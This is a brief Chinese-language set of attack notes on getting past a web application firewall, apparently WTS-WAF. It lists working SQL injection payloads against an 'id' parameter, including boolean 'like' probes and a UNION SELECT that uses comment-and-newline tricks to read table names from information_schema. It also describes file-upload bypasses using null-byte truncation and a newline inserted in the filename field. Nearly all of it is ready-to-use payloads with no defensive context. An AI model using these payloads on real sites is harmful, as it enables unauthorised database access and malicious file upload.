sql注入
注入點：?id=13
payload:
?id=13'+and+'1'='1--+ 攔截
?id=13'+and+1+like+1--+ 不攔截，正常回顯
?id=13'+and+1+like+2--+ 不攔截，回顯異常 判斷存在注入
?id=-13' union select--%0a1,2,3,4,5,(select--%0atable_name from information_schema.tables where table_schema="數據庫名" limit 2,1)-- 繼續注入
文件上傳
上面是上傳后的文件名，使用00截斷，下面是WTS-WAF檢測的文件名，可以通過在后面的雙引號前面換行來繞過后綴名檢測